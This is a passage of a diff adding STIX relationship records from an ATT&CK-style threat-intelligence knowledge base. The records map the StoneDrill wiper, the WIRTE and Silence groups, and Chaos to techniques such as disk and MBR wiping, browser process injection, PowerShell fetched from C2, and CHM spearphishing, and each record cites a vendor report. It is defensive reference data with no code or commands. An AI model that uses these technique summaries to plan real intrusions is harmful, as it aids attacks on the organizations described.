"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-10T18:57:53.099Z", + "id": "relationship--d4f7fac4-ddc0-40fa-8b16-c61b1de30072", + "source_ref": "malware--5bcd5511-6756-4824-a692-e8bb109364af", + "modified": "2019-05-10T18:57:53.099Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sebastian Feldmann. (2018, February 14). Chaos: a Stolen Backdoor Rising Again. Retrieved March 5, 2018.", + "source_name": "Chaos Stolen Backdoor", + "url": "http://gosecure.net/2018/02/14/chaos-stolen-backdoor-rising/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[StoneDrill](https://attack.mitre.org/software/S0380) has been observed deleting the temporary files once they fulfill their task.\t", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-14T15:26:39.893Z", + "id": "relationship--1b384505-b69a-4c0b-95f1-02384214abae", + "source_ref": "malware--8dbadf80-468c-4a62-b817-4e4d8b606887", + "modified": "2019-06-07T20:52:36.939Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky StoneDrill 2017", + "description": "Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[StoneDrill](https://attack.mitre.org/software/S0380) has several VBS scripts used throughout the malware's lifecycle.\t", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-14T15:26:39.912Z", + "id": "relationship--efcdbec4-20e3-42e2-a0c4-1695083cd37e", + "source_ref": "malware--8dbadf80-468c-4a62-b817-4e4d8b606887", + "modified": "2019-06-07T20:52:36.971Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky StoneDrill 2017", + "description": "Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", + "description": "[StoneDrill](https://attack.mitre.org/software/S0380) has looked in the registry to find the default browser path.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-14T15:26:39.915Z", + "id": "relationship--b7316e86-545b-4397-9b1f-d05a8ea64f4f", + "source_ref": "malware--8dbadf80-468c-4a62-b817-4e4d8b606887", + "modified": "2019-06-07T20:52:36.970Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky StoneDrill 2017", + "description": "Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[StoneDrill](https://attack.mitre.org/software/S0380) has downloaded and dropped temporary files containing scripts; it additionally has a function to upload files from the victims machine.\t", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-14T15:26:39.919Z", + "id": "relationship--10974f3d-30fc-4ab6-b691-21acff792a05", + "source_ref": "malware--8dbadf80-468c-4a62-b817-4e4d8b606887", + "modified": "2019-06-07T20:52:36.987Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky StoneDrill 2017", + "description": "Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d", + "description": "[StoneDrill](https://attack.mitre.org/software/S0380) has used several anti-emulation techniques to prevent automated analysis by emulators or sandboxes.\t", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-14T15:26:39.938Z", + "id": "relationship--02a35538-7a82-4b30-94ac-e943c19acfe4", + "source_ref": "malware--8dbadf80-468c-4a62-b817-4e4d8b606887", + "modified": "2019-06-07T20:52:37.012Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky StoneDrill 2017", + "description": "Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "description": "[StoneDrill](https://attack.mitre.org/software/S0380) has relied on injecting its payload directly into the process memory of the victim's preferred browser.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-14T15:26:39.941Z", + "id": "relationship--7d7adc46-deab-4b32-9902-ac1beb0e95fa", + "source_ref": "malware--8dbadf80-468c-4a62-b817-4e4d8b606887", + "modified": "2019-06-07T20:52:37.009Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky StoneDrill 2017", + "description": "Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7", + "description": "[StoneDrill](https://attack.mitre.org/software/S0380) can check for antivirus and antimalware programs.\t", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-14T16:58:13.835Z", + "id": "relationship--7e90117e-0a1b-4320-9b37-54e070c3dc49", + "source_ref": "malware--8dbadf80-468c-4a62-b817-4e4d8b606887", + "modified": "2019-06-07T20:52:37.053Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky StoneDrill 2017", + "description": "Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[StoneDrill](https://attack.mitre.org/software/S0380) can take screenshots.\t", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-14T16:58:13.866Z", + "id": "relationship--f097324d-6665-4d2d-8d84-eb05bada0dd3", + "source_ref": "malware--8dbadf80-468c-4a62-b817-4e4d8b606887", + "modified": "2019-06-07T20:52:37.051Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky StoneDrill 2017", + "description": "Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", + "description": "[StoneDrill](https://attack.mitre.org/software/S0380) can obtain the current date and time of the victim machine.\t", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-14T16:58:13.888Z", + "id": "relationship--54399f5a-a8ee-4f77-a363-23dd0033af12", + "source_ref": "malware--8dbadf80-468c-4a62-b817-4e4d8b606887", + "modified": "2019-06-07T20:52:37.043Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky StoneDrill 2017", + "description": "Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[StoneDrill](https://attack.mitre.org/software/S0380) has the capability to discover the system OS, Windows version, architecture and environment.\t", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-14T16:58:13.891Z", + "id": "relationship--9497e927-67da-4845-b7a9-fe7d13524110", + "source_ref": "malware--8dbadf80-468c-4a62-b817-4e4d8b606887", + "modified": "2019-06-07T20:52:37.092Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky StoneDrill 2017", + "description": "Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", + "description": "[StoneDrill](https://attack.mitre.org/software/S0380) has used the WMI command-line (WMIC) utility to run tasks.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-14T16:58:13.909Z", + "id": "relationship--80c90e89-2519-40cb-8757-06471e47d0fb", + "source_ref": "malware--8dbadf80-468c-4a62-b817-4e4d8b606887", + "modified": "2019-06-07T20:52:37.111Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky StoneDrill 2017", + "description": "Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c", + "description": "[StoneDrill](https://attack.mitre.org/software/S0380) has a disk wiper module that targets files other than those in the Windows directory.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-14T16:58:13.912Z", + "id": "relationship--fe2aa2b2-6508-40e1-b0cf-13c66ae43064", + "source_ref": "malware--8dbadf80-468c-4a62-b817-4e4d8b606887", + "modified": "2019-06-07T20:52:37.118Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky StoneDrill 2017", + "description": "Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[StoneDrill](https://attack.mitre.org/software/S0380) has obfuscated its module with an alphabet-based table or XOR encryption.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-14T16:58:13.939Z", + "id": "relationship--839ce1cc-c749-4a29-8aed-3c44e93c5db4", + "source_ref": "malware--8dbadf80-468c-4a62-b817-4e4d8b606887", + "modified": "2019-06-07T20:52:37.149Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky StoneDrill 2017", + "description": "Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b82f7d37-b826-4ec9-9391-8e121c78aed7", + "description": "[StoneDrill](https://attack.mitre.org/software/S0380) can wipe the accessible physical or logical drives of the infected machine.\t", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-14T17:08:39.327Z", + "id": "relationship--d2041a67-d846-4a1b-b704-4e437baa731a", + "source_ref": "malware--8dbadf80-468c-4a62-b817-4e4d8b606887", + "modified": "2019-06-07T20:52:37.151Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.", + "source_name": "Symantec Elfin Mar 2019", + "url": "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2e114e45-2c50-404c-804a-3af9564d240e", + "description": "[StoneDrill](https://attack.mitre.org/software/S0380) can wipe the master boot record of an infected computer.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-14T17:08:39.345Z", + "id": "relationship--b32b4e03-1469-4a70-8d0b-cd3344e92b3f", + "source_ref": "malware--8dbadf80-468c-4a62-b817-4e4d8b606887", + "modified": "2019-06-07T20:52:37.167Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.", + "source_name": "Symantec Elfin Mar 2019", + "url": "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[WIRTE](https://attack.mitre.org/groups/G0090) has used HTTP for network communication.\t", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-24T17:02:44.353Z", + "id": "relationship--7fd96b72-6402-4f0e-b1fa-bc7f081626de", + "source_ref": "intrusion-set--f8cb7b36-62ef-4488-8a6d-a7033e3271c1", + "modified": "2019-06-20T15:30:38.601Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "S2 Grupo. (2019, April 2). WIRTE Group attacking the Middle East. Retrieved May 24, 2019.", + "source_name": "Lab52 WIRTE Apr 2019", + "url": "https://lab52.io/blog/wirte-group-attacking-the-middle-east/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[WIRTE](https://attack.mitre.org/groups/G0090) has used VBS and PowerShell scripts throughout its operation.\t", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-24T17:02:44.369Z", + "id": "relationship--0f7fd21f-9cba-411a-a8dc-f5689d294037", + "source_ref": "intrusion-set--f8cb7b36-62ef-4488-8a6d-a7033e3271c1", + "modified": "2019-06-20T15:30:38.617Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "S2 Grupo. (2019, April 2). WIRTE Group attacking the Middle East. Retrieved May 24, 2019.", + "source_name": "Lab52 WIRTE Apr 2019", + "url": "https://lab52.io/blog/wirte-group-attacking-the-middle-east/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "description": "[WIRTE](https://attack.mitre.org/groups/G0090) has used PowerShell for script execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-24T17:02:44.371Z", + "id": "relationship--0068ee65-0945-4f69-ba81-163ffbc05e53", + "source_ref": "intrusion-set--f8cb7b36-62ef-4488-8a6d-a7033e3271c1", + "modified": "2019-06-20T15:30:38.635Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "S2 Grupo. (2019, April 2). WIRTE Group attacking the Middle East. Retrieved May 24, 2019.", + "source_name": "Lab52 WIRTE Apr 2019", + "url": "https://lab52.io/blog/wirte-group-attacking-the-middle-east/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[WIRTE](https://attack.mitre.org/groups/G0090) has downloaded PowerShell code from the C2 server to be executed.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-24T17:02:44.385Z", + "id": "relationship--cecf4306-a80e-4e65-b701-7e934adc6c42", + "source_ref": "intrusion-set--f8cb7b36-62ef-4488-8a6d-a7033e3271c1", + "modified": "2019-06-20T15:30:38.632Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "S2 Grupo. (2019, April 2). WIRTE Group attacking the Middle East. Retrieved May 24, 2019.", + "source_name": "Lab52 WIRTE Apr 2019", + "url": "https://lab52.io/blog/wirte-group-attacking-the-middle-east/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--68f7e3a1-f09f-4164-9a62-16b648a0dd5a", + "description": "[WIRTE](https://attack.mitre.org/groups/G0090) has used Regsvr32.exe to trigger the execution of a malicious script.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-24T17:02:44.393Z", + "id": "relationship--cca195e2-b748-4881-b2bf-e6b3b993b460", + "source_ref": "intrusion-set--f8cb7b36-62ef-4488-8a6d-a7033e3271c1", + "modified": "2019-06-20T15:30:38.648Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "S2 Grupo. (2019, April 2). WIRTE Group attacking the Middle East. Retrieved May 24, 2019.", + "source_name": "Lab52 WIRTE Apr 2019", + "url": "https://lab52.io/blog/wirte-group-attacking-the-middle-east/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "description": "[WIRTE](https://attack.mitre.org/groups/G0090) has decoded a base64 encoded document which was embedded in a VBS script.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-24T17:02:44.395Z", + "id": "relationship--19f9e4af-3ad9-4d0d-b4af-db145f514be9", + "source_ref": "intrusion-set--f8cb7b36-62ef-4488-8a6d-a7033e3271c1", + "modified": "2019-06-20T15:30:38.656Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "S2 Grupo. (2019, April 2). WIRTE Group attacking the Middle East. Retrieved May 24, 2019.", + "source_name": "Lab52 WIRTE Apr 2019", + "url": "https://lab52.io/blog/wirte-group-attacking-the-middle-east/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-24T17:02:44.404Z", + "id": "relationship--464c9ae2-09b1-499d-8477-c05926537e6b", + "source_ref": "intrusion-set--f8cb7b36-62ef-4488-8a6d-a7033e3271c1", + "modified": "2019-06-20T15:30:38.665Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "S2 Grupo. (2019, April 2). WIRTE Group attacking the Middle East. Retrieved May 24, 2019.", + "source_name": "Lab52 WIRTE Apr 2019", + "url": "https://lab52.io/blog/wirte-group-attacking-the-middle-east/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf", + "description": "[Silence](https://attack.mitre.org/groups/G0091) has been observed making videos of victims to observe bank employees day to day activities.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-24T17:57:36.608Z", + "id": "relationship--5e60c70a-7b2f-45b8-b7d4-80e214acfb2d", + "source_ref": "intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321", + "modified": "2019-07-16T16:12:09.181Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "SecureList Silence Nov 2017", + "description": "GReAT. (2017, November 1). Silence \u2013 a new Trojan attacking financial organizations. Retrieved May 24, 2019.", + "url": "https://securelist.com/the-silence/83009/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[Silence](https://attack.mitre.org/groups/G0091) can capture victim screen activity.\t", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-24T17:57:36.629Z", + "id": "relationship--778765e1-7eb6-46b1-a370-6dfe09081ee3", + "source_ref": "intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321", + "modified": "2019-07-16T16:12:09.232Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "SecureList Silence Nov 2017", + "description": "GReAT. (2017, November 1). Silence \u2013 a new Trojan attacking financial organizations. Retrieved May 24, 2019.", + "url": "https://securelist.com/the-silence/83009/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[Silence](https://attack.mitre.org/groups/G0091) deleted scheduled task files after its execution.\t", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-24T17:57:36.633Z", + "id": "relationship--ccd99593-7ff0-4706-aa94-73cc8d237fe8", + "source_ref": "intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321", + "modified": "2019-07-16T16:12:09.229Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cyber Forensicator Silence Jan 2019", + "description": "Skulkin, O.. (2019, January 20). Silence: Dissecting Malicious CHM Files and Performing Forensic Analysis. Retrieved May 24, 2019.", + "url": "https://cyberforensicator.com/2019/01/20/silence-dissecting-malicious-chm-files-and-performing-forensic-analysis/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[Silence](https://attack.mitre.org/groups/G0091) has used environment variable string substitution for obfuscation.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-24T17:57:36.651Z", + "id": "relationship--7b2113c8-9b48-4f93-9090-3946a980c183", + "source_ref": "intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321", + "modified": "2019-07-16T16:12:09.272Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cyber Forensicator Silence Jan 2019", + "description": "Skulkin, O.. (2019, January 20). Silence: Dissecting Malicious CHM Files and Performing Forensic Analysis. Retrieved May 24, 2019.", + "url": "https://cyberforensicator.com/2019/01/20/silence-dissecting-malicious-chm-files-and-performing-forensic-analysis/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", + "description": "[Silence](https://attack.mitre.org/groups/G0091) leverages the Windows API to perform a variety of tasks.\t", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-24T17:57:36.683Z", + "id": "relationship--fdedfad5-5cb7-436a-8522-6df3f6de42b1", + "source_ref": "intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321", + "modified": "2019-07-16T16:12:09.269Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "SecureList Silence Nov 2017", + "description": "GReAT. (2017, November 1). Silence \u2013 a new Trojan attacking financial organizations. Retrieved May 24, 2019.", + "url": "https://securelist.com/the-silence/83009/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d21a2069-23d5-4043-ad6d-64f6b644cb1a", + "description": "[Silence](https://attack.mitre.org/groups/G0091) has weaponized CHM files in their phishing campaigns.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-24T17:57:36.686Z", + "id": "relationship--68602080-9968-4a36-9a5e-130343e61566", + "source_ref": "intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321", + "modified": "2019-07-16T16:12:09.318Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cyber Forensicator Silence Jan 2019", + "description": "Skulkin, O.. (2019, January 20). Silence: Dissecting Malicious CHM Files and Performing Forensic Analysis. Retrieved May 24, 2019.", + "url": "https://cyberforensicator.com/2019/01/20/silence-dissecting-malicious-chm-files-and-performing-forensic-analysis/" + }, + { + "source_name": "SecureList Silence Nov 2017", + "description": "GReAT. (2017, November 1). Silence \u2013 a new Trojan attacking financial organizations. Retrieved May 24, 2019.", + "url": "https://securelist.com/the-silence/83009/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "description": "[Silence](https://attack.mitre.org/groups/G0091) attempts to get users to launch malicious attachments delivered via spearphishing emails.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-24T17:57:36.689Z", + "id": "relationship--efe23026-7cba-46df-873b-1c8244a92d36", + "source_ref": "intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321", + "modified": "2019-07-16T16:12:09.321Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cyber Forensicator Silence Jan 2019", + "description": "Skulkin, O.. (2019, January 20). Silence: Dissecting Malicious CHM Files and Performing Forensic Analysis. Retrieved May 24, 2019.", + "url": "https://cyberforensicator.com/2019/01/20/silence-dissecting-malicious-chm-files-and-performing-forensic-analysis/" + }, + { + "source_name": "SecureList Silence Nov 2017", + "description": "GReAT. (2017, November 1). Silence \u2013 a new Trojan attacking financial organizations. Retrieved May 24, 2019.", + "url": "https://securelist.com/the-silence/83009/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[Silence](https://attack.mitre.org/groups/G0091) has used Windows command-line to run commands.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-24T17:57:36.696Z", + "id": "relationship--f1eda5c7-6843-406d-89b8-c61759c02450", + "source_ref": "intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321", + "modified": "2019-07-16T16:12:09.311Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cyber Forensicator Silence Jan 2019", + "description": "Skulkin, O.. (2019, January 20). Silence: Dissecting Malicious CHM Files and Performing Forensic Analysis. Retrieved May 24, 2019.", + "url": 